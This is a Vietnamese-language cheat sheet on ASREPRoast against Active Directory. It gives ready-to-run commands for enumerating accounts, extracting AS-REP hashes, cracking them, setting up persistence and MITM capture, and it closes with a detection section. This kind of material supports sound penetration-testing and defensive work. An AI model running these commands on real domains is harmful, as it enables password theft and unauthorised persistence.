ASREPRoast
ASREPRoast
ASREPRoast là một cuộc tấn công bảo mật khai thác những người dùng thiếu Kerberos pre-authentication required attribute. Về cơ bản, lỗ hổng này cho phép attacker yêu cầu xác thực người dùng từ DC mà không cần mật khẩu người dùng. Sau đó, DC sẽ phản hồi bằng một thông điệp được mã hóa bằng khóa lấy từ mật khẩu người dùng, attacker có thể cố gắng crack offline để khám phá mật khẩu của người dùng.
Các yêu cầu chính cho cuộc tấn công này:
Lack of Kerberos pre-authentication: Target users không bật tính năng này.
Connection to the Domain Controller (DC): Attackers cần truy cập vào DC để gửi request và nhận tin nhắn được mã hóa.
Optional domain account: Có domain account cho phép attacker xác định người dùng dễ bị tấn công hiệu quả hơn thông qua LDAP queries. Nếu không có tài khoản như vậy, attacker phải đoán tên người dùng.
Enumerating vulnerable users (need domain credentials)
Using Windows
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
Using Linux
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
Request AS_REP message
Using Linux
#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
Using Windows
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
Lưu ý: AS-REP Roasting với Rubeus sẽ tạo event 4768 với encryption type là 0x17 và preauth type là 0.
Cracking
john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
Persistence
Không cần preauth với người dùng khi có quyền GenericAll (hoặc quyền để write properties):
Using Windows
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
Using Linux
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_RE
ASREProast without credentials
Attacker có thể sử dụng vị trị MiTM để bắt các gói tin AS-REP khi chúng đi qua mạng mà không cần phải tắt Kerberos pre-authentication. Do đó nó hoạt động cho tất cả người dùng trên VLAN.
ASRepCatcher cho phép làm như vậy. Hơn nữa, công cụ này buộc các máy trạm của khách hàng sử dụng RC4 bằng cách thay đổi thỏa thuận Kerberos.
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP
# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing
# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen
Detect, Mitigate and Respond
DETECT
Theo dõi Window event log để tìm những TGT requests bất thường đến từ các tài khaonr đã tắt Kerberos pre-authentication. Event 4768 trong Audit Kerberos Authentication Service subcategory phải được bật cho các sự kiện thành công. Defenders có thể phân tích những sự kiện này theo:
Ticket encryption downgrades — Mặc định, các tài khoản phải sử dụng loại mã hóa mạnh là AES256-CTS-HMAC-SHA1-96 (0x12). Bất kỳ việc sử dụng loại mã hóa nào khác đều đáng ngờ; kẻ thù sử dụng mức mã hóa thấp hơn để bẻ khóa dễ dàng hơn.
Số lượng bất thường các xác thực của một tài khoản từ một endpoint duy nhất — Theo mặc định, nhiều hack tools, bao gồm Rubeus, yêu cầu tickets cho all users đã tắt Kerberos pre-authentication. Thiết lập đường cơ sở hoạt động xác thực là lý tưởng để phát hiện các cuộc tấn công trong khi giảm cảnh bảo dương tính giả. Tuy nhiên, các tổ chức có thể sử dụng một ngưỡng cố định cho hai hay nhiều tài khoản đang cố gắng xác thực từ một endpoint duy nhất, với việc loại trừ các hệ thống đã biết.
Mẫu xác thực bất thường— Mặc dùng không phải phương pháp phát hiện AS-REP Roasting attack rõ ràng, nhưng việc theo dõi chạt chẽ người dùng để phát hiện hoạt động xác thực bất thường, chẳng hạn như đăng nhập vào thời điểm bất thường hoặc sử dụng ứng dụng client bất thường là điều bắt buộc
Một chiến lược khác để phát hiện dấu hiệu AS-REP Roasting là thiết lập một AS-REP Roasting honeypot: tạo một tài khoản người dùng đã tắt Kerberos pre-authentication và theo dõi chặt chẽ. Để giảm rủi ro, hãy đảm bảo đặt mật khẩu dài và cấp cho tài khoản này quyền truy cập tối thiểu
References
Last updated